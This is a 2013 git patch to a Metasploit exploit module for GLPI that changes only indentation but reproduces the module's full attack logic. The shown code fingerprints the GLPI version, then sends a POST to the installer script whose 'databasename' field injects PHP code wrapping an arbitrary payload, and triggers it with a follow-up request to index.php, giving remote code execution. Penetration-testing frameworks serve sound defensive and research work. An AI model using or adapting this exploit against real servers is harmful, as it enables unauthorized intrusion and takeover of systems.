From ce8e94b5fe2e474c0609c84c84e5edfa03819c8f Mon Sep 17 00:00:00 2001 From: dummys Date: Thu, 19 Sep 2013 20:14:07 +0200 Subject: [PATCH] corrected indentation bug --- .../exploits/multi/php/glpi_install_rce.rb | 56 +++++++++---------- 1 file changed, 28 insertions(+), 28 deletions(-) diff --git a/modules/exploits/multi/php/glpi_install_rce.rb b/modules/exploits/multi/php/glpi_install_rce.rb index 8b16c6aa5e..bbdb9d7b90 100644 --- a/modules/exploits/multi/php/glpi_install_rce.rb +++ b/modules/exploits/multi/php/glpi_install_rce.rb @@ -45,15 +45,15 @@ class Metasploit3 < Msf::Exploit::Remote ], self.class) end - def check + def check # Check if the GLPI instance is vulnerable - uri = target_uri.path - uri << '/' if uri[-1,1] != '/' + uri = target_uri.path + uri << '/' if uri[-1,1] != '/' - res = send_request_cgi({ + res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(uri, 'index.php'), - }) + }) if res and res.code == 200 re='(version)(\\s+)(.*)(\\s+)(Copyright)' @@ -80,29 +80,29 @@ class Metasploit3 < Msf::Exploit::Remote end def exploit - uri = target_uri.path - rand_arg = Rex::Text.rand_text_hex(10) - send_request_cgi({ - 'method' => 'POST', - 'uri' => normalize_uri(uri, 'install/install.php'), - 'vars_post' => - { - 'install'=>'update_1', - 'db_host'=>'localhost', - 'db_user'=>'root', - 'db_pass'=>'root', - 'databasename'=>"'; } if(isset($_GET['#{rand_arg}'])){ #{payload.encoded} } /*" - } - }) + uri = target_uri.path + rand_arg = Rex::Text.rand_text_hex(10) + send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(uri, 'install/install.php'), + 'vars_post' => + { + 'install'=>'update_1', + 'db_host'=>'localhost', + 'db_user'=>'root', + 'db_pass'=>'root', + 'databasename'=>"'; } if(isset($_GET['#{rand_arg}'])){ #{payload.encoded} } /*" + } + }) - send_request_cgi( - opts={ - 'method' => 'GET', - 'uri' => normalize_uri(uri, 'index.php'), - 'vars_get' => - { - rand_arg => '1', - } - }) + send_request_cgi( + opts={ + 'method' => 'GET', + 'uri' => normalize_uri(uri, 'index.php'), + 'vars_get' => + { + rand_arg => '1', + } + }) end end